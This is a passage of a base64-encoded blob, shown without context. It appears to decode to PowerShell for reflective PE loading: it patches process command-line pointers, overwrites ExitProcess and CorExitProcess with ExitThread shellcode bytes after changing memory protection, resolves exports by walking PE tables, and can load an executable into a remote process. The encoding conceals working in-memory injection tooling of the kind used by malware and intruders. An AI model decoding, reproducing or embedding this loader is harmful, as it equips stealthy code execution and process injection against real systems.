0aGUgdmFyaWFibGUgc2luY2UgdGhleSBhcmUgZXhwb3J0ZWQuDQoJCSREbGxMaXN0ID0gQCgibXN2Y3I3MGQuZGxsIiwgIm1zdmNyNzFkLmRsbCIsICJtc3ZjcjgwZC5kbGwiLCAibXN2Y3I5MGQuZGxsIiwgIm1zdmNyMTAwZC5kbGwiLCAibXN2Y3IxMTBkLmRsbCIsICJtc3ZjcjcwLmRsbCIgYA0KCQkJLCAibXN2Y3I3MS5kbGwiLCAibXN2Y3I4MC5kbGwiLCAibXN2Y3I5MC5kbGwiLCAibXN2Y3IxMDAuZGxsIiwgIm1zdmNyMTEwLmRsbCIpDQoJCQ0KCQlmb3JlYWNoICgkRGxsIGluICREbGxMaXN0KQ0KCQl7DQoJCQlbSW50UHRyXSREbGxIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgkRGxsKQ0KCQkJaWYgKCREbGxIYW5kbGUgLW5lIFtJbnRQdHJdOjpaZXJvKQ0KCQkJew0KCQkJCVtJbnRQdHJdJFdDbWRMbkFkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCREbGxIYW5kbGUsICJfd2NtZGxuIikNCgkJCQlbSW50UHRyXSRBQ21kTG5BZGRyID0gJFdpbjMyRnVuY3Rpb25zLkdldFByb2NBZGRyZXNzLkludm9rZSgkRGxsSGFuZGxlLCAiX2FjbWRsbiIpDQoJCQkJaWYgKCRXQ21kTG5BZGRyIC1lcSBbSW50UHRyXTo6WmVybyAtb3IgJEFDbWRMbkFkZHIgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQkJCXsNCgkJCQkJIkVycm9yLCBjb3VsZG4ndCBmaW5kIF93Y21kbG4gb3IgX2FjbWRsbiINCgkJCQl9DQoJCQkJDQoJCQkJJE5ld0FDbWRMblB0ciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cmluZ1RvSEdsb2JhbEFuc2koJEV4ZUFyZ3VtZW50cykNCgkJCQkkTmV3V0NtZExuUHRyID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RyaW5nVG9IR2xvYmFsVW5pKCRFeGVBcmd1bWVudHMpDQoJCQkJDQoJCQkJI01ha2UgYSBjb3B5IG9mIHRoZSBvcmlnaW5hbCBjaGFyKiBhbmQgd2NoYXJfdCogc28gdGhlc2UgdmFyaWFibGVzIGNhbiBiZSByZXR1cm5lZCBiYWNrIHRvIHRoZWlyIG9yaWdpbmFsIHN0YXRlDQoJCQkJJE9yaWdBQ21kTG5QdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkQUNtZExuQWRkciwgW1R5cGVdW0ludFB0cl0pDQoJCQkJJE9yaWdXQ21kTG5QdHIgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkV0NtZExuQWRkciwgW1R5cGVdW0ludFB0cl0pDQoJCQkJJE9yaWdBQ21kTG5QdHJTdG9yYWdlID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6QWxsb2NIR2xvYmFsKCRQdHJTaXplKQ0KCQkJCSRPcmlnV0NtZExuUHRyU3RvcmFnZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkUHRyU2l6ZSkNCgkJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkT3JpZ0FDbWRMblB0ciwgJE9yaWdBQ21kTG5QdHJTdG9yYWdlLCAkZmFsc2UpDQoJCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJE9yaWdXQ21kTG5QdHIsICRPcmlnV0NtZExuUHRyU3RvcmFnZSwgJGZhbHNlKQ0KCQkJCSRSZXR1cm5BcnJheSArPSAsKCRBQ21kTG5BZGRyLCAkT3JpZ0FDbWRMblB0clN0b3JhZ2UsICRQdHJTaXplKQ0KCQkJCSRSZXR1cm5BcnJheSArPSAsKCRXQ21kTG5BZGRyLCAkT3JpZ1dDbWRMblB0clN0b3JhZ2UsICRQdHJTaXplKQ0KCQkJCQ0KCQkJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkQUNtZExuQWRkciwgW1VJbnQzMl0kUHRyU2l6ZSwgW1VJbnQzMl0oJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEV1JJVEUpLCBbUmVmXSRPbGRQcm90ZWN0RmxhZykNCgkJCQlpZiAoJFN1Y2Nlc3MgPSAkZmFsc2UpDQoJCQkJew0KCQkJCQl0aHJvdyAiQ2FsbCB0byBWaXJ0dWFsUHJvdGVjdCBmYWlsZWQiDQoJCQkJfQ0KCQkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRyKCROZXdBQ21kTG5QdHIsICRBQ21kTG5BZGRyLCAkZmFsc2UpDQoJCQkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkQUNtZExuQWRkciwgW1VJbnQzMl0kUHRyU2l6ZSwgW1VJbnQzMl0oJE9sZFByb3RlY3RGbGFnKSwgW1JlZl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwNCgkJCQkNCgkJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJFdDbWRMbkFkZHIsIFtVSW50MzJdJFB0clNpemUsIFtVSW50MzJdKCRXaW4zMkNvbnN0YW50cy5QQUdFX0VYRUNVVEVfUkVBRFdSSVRFKSwgW1JlZl0kT2xkUHJvdGVjdEZsYWcpDQoJCQkJaWYgKCRTdWNjZXNzID0gJGZhbHNlKQ0KCQkJCXsNCgkJCQkJdGhyb3cgIkNhbGwgdG8gVmlydHVhbFByb3RlY3QgZmFpbGVkIg0KCQkJCX0NCgkJCQlbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTdHJ1Y3R1cmVUb1B0cigkTmV3V0NtZExuUHRyLCAkV0NtZExuQWRkciwgJGZhbHNlKQ0KCQkJCSRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJFdDbWRMbkFkZHIsIFtVSW50MzJdJFB0clNpemUsIFtVSW50MzJdKCRPbGRQcm90ZWN0RmxhZyksIFtSZWZdJE9sZFByb3RlY3RGbGFnKSB8IE91dC1OdWxsDQoJCQl9DQoJCX0NCgkJIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCQkNCgkJDQoJCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCgkJI05leHQgb3ZlcndyaXRlIENvckV4aXRQcm9jZXNzIGFuZCBFeGl0UHJvY2VzcyB0byBpbnN0ZWFkIEV4aXRUaHJlYWQuIFRoaXMgd2F5IHRoZSBlbnRpcmUgUG93ZXJzaGVsbCBwcm9jZXNzIGRvZXNuJ3QgZGllIHdoZW4gdGhlIEVYRSBleGl0cy4NCg0KCQkkUmV0dXJuQXJyYXkgPSBAKCkNCgkJJEV4aXRGdW5jdGlvbnMgPSBAKCkgI0FycmF5IG9mIGZ1bmN0aW9ucyB0byBvdmVyd3JpdGUgc28gdGhlIHRocmVhZCBkb2Vzbid0IGV4aXQgdGhlIHByb2Nlc3MNCgkJDQoJCSNDb3JFeGl0UHJvY2VzcyAoY29tcGlsZWQgaW4gdG8gdmlzdWFsIHN0dWRpbyBjKyspDQoJCVtJbnRQdHJdJE1zY29yZWVIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgibXNjb3JlZS5kbGwiKQ0KCQlpZiAoJE1zY29yZWVIYW5kbGUgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQl7DQoJCQl0aHJvdyAibXNjb3JlZSBoYW5kbGUgbnVsbCINCgkJfQ0KCQlbSW50UHRyXSRDb3JFeGl0UHJvY2Vzc0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRNc2NvcmVlSGFuZGxlLCAiQ29yRXhpdFByb2Nlc3MiKQ0KCQlpZiAoJENvckV4aXRQcm9jZXNzQWRkciAtZXEgW0ludFB0cl06Olplcm8pDQoJCXsNCgkJCVRocm93ICJDb3JFeGl0UHJvY2VzcyBhZGRyZXNzIG5vdCBmb3VuZCINCgkJfQ0KCQkkRXhpdEZ1bmN0aW9ucyArPSAkQ29yRXhpdFByb2Nlc3NBZGRyDQoJCQ0KCQkjRXhpdFByb2Nlc3MgKHdoYXQgbm9uLW1hbmFnZWQgcHJvZ3JhbXMgdXNlKQ0KCQlbSW50UHRyXSRFeGl0UHJvY2Vzc0FkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIkV4aXRQcm9jZXNzIikNCgkJaWYgKCRFeGl0UHJvY2Vzc0FkZHIgLWVxIFtJbnRQdHJdOjpaZXJvKQ0KCQl7DQoJCQlUaHJvdyAiRXhpdFByb2Nlc3MgYWRkcmVzcyBub3QgZm91bmQiDQoJCX0NCgkJJEV4aXRGdW5jdGlvbnMgKz0gJEV4aXRQcm9jZXNzQWRkcg0KCQkNCgkJW1VJbnQzMl0kT2xkUHJvdGVjdEZsYWcgPSAwDQoJCWZvcmVhY2ggKCRQcm9jRXhpdEZ1bmN0aW9uQWRkciBpbiAkRXhpdEZ1bmN0aW9ucykNCgkJew0KCQkJJFByb2NFeGl0RnVuY3Rpb25BZGRyVG1wID0gJFByb2NFeGl0RnVuY3Rpb25BZGRyDQoJCQkjVGhlIGZvbGxvd2luZyBpcyB0aGUgc2hlbGxjb2RlIChTaGVsbGNvZGU6IEV4aXRUaHJlYWQuYXNtKToNCgkJCSMzMmJpdCBzaGVsbGNvZGUNCgkJCVtCeXRlW11dJFNoZWxsY29kZTEgPSBAKDB4YmIpDQoJCQlbQnl0ZVtdXSRTaGVsbGNvZGUyID0gQCgweGM2LCAweDAzLCAweDAxLCAweDgzLCAweGVjLCAweDIwLCAweDgzLCAweGU0LCAweGMwLCAweGJiKQ0KCQkJIzY0Yml0IHNoZWxsY29kZSAoU2hlbGxjb2RlOiBFeGl0VGhyZWFkLmFzbSkNCgkJCWlmICgkUHRyU2l6ZSAtZXEgOCkNCgkJCXsNCgkJCQlbQnl0ZVtdXSRTaGVsbGNvZGUxID0gQCgweDQ4LCAweGJiKQ0KCQkJCVtCeXRlW11dJFNoZWxsY29kZTIgPSBAKDB4YzYsIDB4MDMsIDB4MDEsIDB4NDgsIDB4ODMsIDB4ZWMsIDB4MjAsIDB4NjYsIDB4ODMsIDB4ZTQsIDB4YzAsIDB4NDgsIDB4YmIpDQoJCQl9DQoJCQlbQnl0ZVtdXSRTaGVsbGNvZGUzID0gQCgweGZmLCAweGQzKQ0KCQkJJFRvdGFsU2l6ZSA9ICRTaGVsbGNvZGUxLkxlbmd0aCArICRQdHJTaXplICsgJFNoZWxsY29kZTIuTGVuZ3RoICsgJFB0clNpemUgKyAkU2hlbGxjb2RlMy5MZW5ndGgNCgkJCQ0KCQkJW0ludFB0cl0kRXhpdFRocmVhZEFkZHIgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0FkZHJlc3MuSW52b2tlKCRLZXJuZWwzMkhhbmRsZSwgIkV4aXRUaHJlYWQiKQ0KCQkJaWYgKCRFeGl0VGhyZWFkQWRkciAtZXEgW0ludFB0cl06Olplcm8pDQoJCQl7DQoJCQkJVGhyb3cgIkV4aXRUaHJlYWQgYWRkcmVzcyBub3QgZm91bmQiDQoJCQl9DQoNCgkJCSRTdWNjZXNzID0gJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkUHJvY0V4aXRGdW5jdGlvbkFkZHIsIFtVSW50MzJdJFRvdGFsU2l6ZSwgW1VJbnQzMl0kV2luMzJDb25zdGFudHMuUEFHRV9FWEVDVVRFX1JFQURXUklURSwgW1JlZl0kT2xkUHJvdGVjdEZsYWcpDQoJCQlpZiAoJFN1Y2Nlc3MgLWVxICRmYWxzZSkNCgkJCXsNCgkJCQlUaHJvdyAiQ2FsbCB0byBWaXJ0dWFsUHJvdGVjdCBmYWlsZWQiDQoJCQl9DQoJCQkNCgkJCSNNYWtlIGNvcHkgb2Ygb3JpZ2luYWwgRXhpdFByb2Nlc3MgYnl0ZXMNCgkJCSRFeGl0UHJvY2Vzc09yaWdCeXRlc1B0ciA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkFsbG9jSEdsb2JhbCgkVG90YWxTaXplKQ0KCQkJJFdpbjMyRnVuY3Rpb25zLm1lbWNweS5JbnZva2UoJEV4aXRQcm9jZXNzT3JpZ0J5dGVzUHRyLCAkUHJvY0V4aXRGdW5jdGlvbkFkZHIsIFtVSW50NjRdJFRvdGFsU2l6ZSkgfCBPdXQtTnVsbA0KCQkJJFJldHVybkFycmF5ICs9ICwoJFByb2NFeGl0RnVuY3Rpb25BZGRyLCAkRXhpdFByb2Nlc3NPcmlnQnl0ZXNQdHIsICRUb3RhbFNpemUpDQoJCQkNCgkJCSNXcml0ZSB0aGUgRXhpdFRocmVhZCBzaGVsbGNvZGUgdG8gbWVtb3J5LiBUaGlzIHNoZWxsY29kZSB3aWxsIHdyaXRlIDB4MDEgdG8gRXhlRG9uZUJ5dGVQdHIgYWRkcmVzcyAoc28gUFMga25vd3MgdGhlIEVYRSBpcyBkb25lKSwgdGhlbiANCgkJCSMJY2FsbCBFeGl0VGhyZWFkDQoJCQlXcml0ZS1CeXRlc1RvTWVtb3J5IC1CeXRlcyAkU2hlbGxjb2RlMSAtTWVtb3J5QWRkcmVzcyAkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXANCgkJCSRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcCA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcCAoJFNoZWxsY29kZTEuTGVuZ3RoKQ0KCQkJW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6U3RydWN0dXJlVG9QdHIoJEV4ZURvbmVCeXRlUHRyLCAkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAsICRmYWxzZSkNCgkJCSRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcCA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcCAkUHRyU2l6ZQ0KCQkJV3JpdGUtQnl0ZXNUb01lbW9yeSAtQnl0ZXMgJFNoZWxsY29kZTIgLU1lbW9yeUFkZHJlc3MgJFByb2NFeGl0RnVuY3Rpb25BZGRyVG1wDQoJCQkkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgKCRTaGVsbGNvZGUyLkxlbmd0aCkNCgkJCVtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlN0cnVjdHVyZVRvUHRyKCRFeGl0VGhyZWFkQWRkciwgJFByb2NFeGl0RnVuY3Rpb25BZGRyVG1wLCAkZmFsc2UpDQoJCQkkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAkUHJvY0V4aXRGdW5jdGlvbkFkZHJUbXAgJFB0clNpemUNCgkJCVdyaXRlLUJ5dGVzVG9NZW1vcnkgLUJ5dGVzICRTaGVsbGNvZGUzIC1NZW1vcnlBZGRyZXNzICRQcm9jRXhpdEZ1bmN0aW9uQWRkclRtcA0KDQoJCQkkV2luMzJGdW5jdGlvbnMuVmlydHVhbFByb3RlY3QuSW52b2tlKCRQcm9jRXhpdEZ1bmN0aW9uQWRkciwgW1VJbnQzMl0kVG90YWxTaXplLCBbVUludDMyXSRPbGRQcm90ZWN0RmxhZywgW1JlZl0kT2xkUHJvdGVjdEZsYWcpIHwgT3V0LU51bGwNCgkJfQ0KCQkjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQoNCgkJV3JpdGUtT3V0cHV0ICRSZXR1cm5BcnJheQ0KCX0NCgkNCgkNCgkjVGhpcyBmdW5jdGlvbiB0YWtlcyBhbiBhcnJheSBvZiBhcnJheXMsIHRoZSBpbm5lciBhcnJheSBvZiBmb3JtYXQgQCgkRGVzdEFkZHIsICRTb3VyY2VBZGRyLCAkQ291bnQpDQoJIwlJdCBjb3BpZXMgQ291bnQgYnl0ZXMgZnJvbSBTb3VyY2UgdG8gRGVzdGluYXRpb24uDQoJRnVuY3Rpb24gQ29weS1BcnJheU9mTWVtQWRkcmVzc2VzDQoJew0KCQlQYXJhbSgNCgkJW1BhcmFtZXRlcihQb3NpdGlvbiA9IDAsIE1hbmRhdG9yeSA9ICR0cnVlKV0NCgkJW0FycmF5W11dDQoJCSRDb3B5SW5mbywNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTeXN0ZW0uT2JqZWN0XQ0KCQkkV2luMzJGdW5jdGlvbnMsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0gJHRydWUpXQ0KCQlbU3lzdGVtLk9iamVjdF0NCgkJJFdpbjMyQ29uc3RhbnRzDQoJCSkNCg0KCQlbVUludDMyXSRPbGRQcm90ZWN0RmxhZyA9IDANCgkJZm9yZWFjaCAoJEluZm8gaW4gJENvcHlJbmZvKQ0KCQl7DQoJCQkkU3VjY2VzcyA9ICRXaW4zMkZ1bmN0aW9ucy5WaXJ0dWFsUHJvdGVjdC5JbnZva2UoJEluZm9bMF0sIFtVSW50MzJdJEluZm9bMl0sIFtVSW50MzJdJFdpbjMyQ29uc3RhbnRzLlBBR0VfRVhFQ1VURV9SRUFEV1JJVEUsIFtSZWZdJE9sZFByb3RlY3RGbGFnKQ0KCQkJaWYgKCRTdWNjZXNzIC1lcSAkZmFsc2UpDQoJCQl7DQoJCQkJVGhyb3cgIkNhbGwgdG8gVmlydHVhbFByb3RlY3QgZmFpbGVkIg0KCQkJfQ0KCQkJDQoJCQkkV2luMzJGdW5jdGlvbnMubWVtY3B5Lkludm9rZSgkSW5mb1swXSwgJEluZm9bMV0sIFtVSW50NjRdJEluZm9bMl0pIHwgT3V0LU51bGwNCgkJCQ0KCQkJJFdpbjMyRnVuY3Rpb25zLlZpcnR1YWxQcm90ZWN0Lkludm9rZSgkSW5mb1swXSwgW1VJbnQzMl0kSW5mb1syXSwgW1VJbnQzMl0kT2xkUHJvdGVjdEZsYWcsIFtSZWZdJE9sZFByb3RlY3RGbGFnKSB8IE91dC1OdWxsDQoJCX0NCgl9DQoNCg0KCSMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCgkjIyMjIyMjIyMjICAgIEZVTkNUSU9OUyAgICMjIyMjIyMjIyMjDQoJIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KCUZ1bmN0aW9uIEdldC1NZW1vcnlQcm9jQWRkcmVzcw0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAwLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtJbnRQdHJdDQoJCSRQRUhhbmRsZSwNCgkJDQoJCVtQYXJhbWV0ZXIoUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkdHJ1ZSldDQoJCVtTdHJpbmddDQoJCSRGdW5jdGlvbk5hbWUNCgkJKQ0KCQkNCgkJJFdpbjMyVHlwZXMgPSBHZXQtV2luMzJUeXBlcw0KCQkkV2luMzJDb25zdGFudHMgPSBHZXQtV2luMzJDb25zdGFudHMNCgkJJFBFSW5mbyA9IEdldC1QRURldGFpbGVkSW5mbyAtUEVIYW5kbGUgJFBFSGFuZGxlIC1XaW4zMlR5cGVzICRXaW4zMlR5cGVzIC1XaW4zMkNvbnN0YW50cyAkV2luMzJDb25zdGFudHMNCgkJDQoJCSNHZXQgdGhlIGV4cG9ydCB0YWJsZQ0KCQlpZiAoJFBFSW5mby5JTUFHRV9OVF9IRUFERVJTLk9wdGlvbmFsSGVhZGVyLkV4cG9ydFRhYmxlLlNpemUgLWVxIDApDQoJCXsNCgkJCXJldHVybiBbSW50UHRyXTo6WmVybw0KCQl9DQoJCSRFeHBvcnRUYWJsZVB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVIYW5kbGUpICgkUEVJbmZvLklNQUdFX05UX0hFQURFUlMuT3B0aW9uYWxIZWFkZXIuRXhwb3J0VGFibGUuVmlydHVhbEFkZHJlc3MpDQoJCSRFeHBvcnRUYWJsZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCRFeHBvcnRUYWJsZVB0ciwgW1R5cGVdJFdpbjMyVHlwZXMuSU1BR0VfRVhQT1JUX0RJUkVDVE9SWSkNCgkJDQoJCWZvciAoJGkgPSAwOyAkaSAtbHQgJEV4cG9ydFRhYmxlLk51bWJlck9mTmFtZXM7ICRpKyspDQoJCXsNCgkJCSNBZGRyZXNzT2ZOYW1lcyBpcyBhbiBhcnJheSBvZiBwb2ludGVycyB0byBzdHJpbmdzIG9mIHRoZSBuYW1lcyBvZiB0aGUgZnVuY3Rpb25zIGV4cG9ydGVkDQoJCQkkTmFtZU9mZnNldFB0ciA9IEFkZC1TaWduZWRJbnRBc1Vuc2lnbmVkICgkUEVIYW5kbGUpICgkRXhwb3J0VGFibGUuQWRkcmVzc09mTmFtZXMgKyAoJGkgKiBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW1VJbnQzMl0pKSkNCgkJCSROYW1lUHRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUhhbmRsZSkgKFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RydWN0dXJlKCROYW1lT2Zmc2V0UHRyLCBbVHlwZV1bVUludDMyXSkpDQoJCQkkTmFtZSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlB0clRvU3RyaW5nQW5zaSgkTmFtZVB0cikNCg0KCQkJaWYgKCROYW1lIC1jZXEgJEZ1bmN0aW9uTmFtZSkNCgkJCXsNCgkJCQkjQWRkcmVzc09mTmFtZU9yZGluYWxzIGlzIGEgdGFibGUgd2hpY2ggY29udGFpbnMgcG9pbnRzIHRvIGEgV09SRCB3aGljaCBpcyB0aGUgaW5kZXggaW4gdG8gQWRkcmVzc09mRnVuY3Rpb25zDQoJCQkJIyAgICB3aGljaCBjb250YWlucyB0aGUgb2Zmc2V0IG9mIHRoZSBmdW5jdGlvbiBpbiB0byB0aGUgRExMDQoJCQkJJE9yZGluYWxQdHIgPSBBZGQtU2lnbmVkSW50QXNVbnNpZ25lZCAoJFBFSGFuZGxlKSAoJEV4cG9ydFRhYmxlLkFkZHJlc3NPZk5hbWVPcmRpbmFscyArICgkaSAqIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bVUludDE2XSkpKQ0KCQkJCSRGdW5jSW5kZXggPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpQdHJUb1N0cnVjdHVyZSgkT3JkaW5hbFB0ciwgW1R5cGVdW1VJbnQxNl0pDQoJCQkJJEZ1bmNPZmZzZXRBZGRyID0gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUhhbmRsZSkgKCRFeHBvcnRUYWJsZS5BZGRyZXNzT2ZGdW5jdGlvbnMgKyAoJEZ1bmNJbmRleCAqIFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OlNpemVPZihbVHlwZV1bVUludDMyXSkpKQ0KCQkJCSRGdW5jT2Zmc2V0ID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6UHRyVG9TdHJ1Y3R1cmUoJEZ1bmNPZmZzZXRBZGRyLCBbVHlwZV1bVUludDMyXSkNCgkJCQlyZXR1cm4gQWRkLVNpZ25lZEludEFzVW5zaWduZWQgKCRQRUhhbmRsZSkgKCRGdW5jT2Zmc2V0KQ0KCQkJfQ0KCQl9DQoJCQ0KCQlyZXR1cm4gW0ludFB0cl06Olplcm8NCgl9DQoNCg0KCUZ1bmN0aW9uIEludm9rZS1NZW1vcnlMb2FkTGlicmFyeQ0KCXsNCgkJUGFyYW0oDQoJCVtQYXJhbWV0ZXIoIFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJHRydWUgKV0NCgkJW0J5dGVbXV0NCgkJJFBFQnl0ZXMsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMSwgTWFuZGF0b3J5ID0gJGZhbHNlKV0NCgkJW1N0cmluZ10NCgkJJEV4ZUFyZ3MsDQoJCQ0KCQlbUGFyYW1ldGVyKFBvc2l0aW9uID0gMiwgTWFuZGF0b3J5ID0gJGZhbHNlKV0NCgkJW0ludFB0cl0NCgkJJFJlbW90ZVByb2NIYW5kbGUNCgkJKQ0KCQkNCgkJJFB0clNpemUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpTaXplT2YoW1R5cGVdW0ludFB0cl0pDQoJCQ0KCQkjR2V0IFdpbjMyIGNvbnN0YW50cyBhbmQgZnVuY3Rpb25zDQoJCSRXaW4zMkNvbnN0YW50cyA9IEdldC1XaW4zMkNvbnN0YW50cw0KCQkkV2luMzJGdW5jdGlvbnMgPSBHZXQtV2luMzJGdW5jdGlvbnMNCgkJJFdpbjMyVHlwZXMgPSBHZXQtV2luMzJUeXBlcw0KCQkNCgkJJFJlbW90ZUxvYWRpbmcgPSAkZmFsc2UNCgkJaWYgKCgkUmVtb3RlUHJvY0hhbmRsZSAtbmUgJG51bGwpIC1hbmQgKCRSZW1vdGVQcm9jSGFuZGxlIC1uZSBbSW50UHRyXTo6WmVybykpDQoJCXsNCgkJCSRSZW1vdGVMb2FkaW5nID0gJHRydWUNCgkJfQ0KCQkNCgkJI0dldCBiYXNpYyBQRSBpbmZvcm1hdGlvbg0KCQlXcml0ZS1WZXJib3NlICJHZXR0aW5nIGJhc2ljIFBFIGluZm9ybWF0aW9uIGZyb20gdGhlIGZpbGUiDQoJCSRQRUluZm8gPSBHZXQtUEVCYXNpY0luZm8gLVBFQnl0ZXMgJFBFQnl0ZXMgLVdpbjMyVHlwZXMgJFdpbjMyVHlwZXMNCgkJJE9yaWdpbmFsSW1hZ2VCYXNlID0gJFBFSW5mby5PcmlnaW5hbEltYWdlQmFzZQ0KCQkkTlhDb21wYXRpYmxlID0gJHRydWUNCgkJaWYgKChbSW50XSAkUEVJbmZvLkRsbENoYXJhY3RlcmlzdGljcyAtYmFuZCAkV2luMzJDb25zdGFudHMuSU1BR0VfRExMQ0hBUkFDVEVSSVNUSUNTX05YX0NPTVBBVCkgLW5lICRXaW4zMkNvbnN0YW50cy5JTUFHRV9ETExDSEFSQUNURVJJU1RJQ1NfTlhfQ09NUEFUKQ0KCQl7DQoJCQlXcml0ZS1XYXJuaW5nICJQRSBpcyBub3QgY29tcGF0aWJsZSB3aXRoIERFUCwgbWlnaHQgY2F1c2UgaXNzdWVzIiAtV2FybmluZ0FjdGlvbiBDb250aW51ZQ0KCQkJJE5YQ29tcGF0aWJsZSA9ICRmYWxzZQ0KCQl9DQoJCQ0KCQkNCgkJI1ZlcmlmeSB0aGF0IHRoZSBQRSBhbmQgdGhlIGN1cnJlbnQgcHJvY2VzcyBhcmUgdGhlIHNhbWUgYml0cyAoMzJiaXQgb3IgNjRiaXQpDQoJCSRQcm9jZXNzNjRCaXQgPSAkdHJ1ZQ0KCQlpZiAoJFJlbW90ZUxvYWRpbmcgLWVxICR0cnVlKQ0KCQl7DQoJCQkkS2VybmVsMzJIYW5kbGUgPSAkV2luMzJGdW5jdGlvbnMuR2V0TW9kdWxlSGFuZGxlLkludm9rZSgia2VybmVsMzIuZGxsIikNCgkJCSRSZXN1bHQgPSAkV2luMzJGdW5jdGlvbnMuR2V0UHJvY0Fk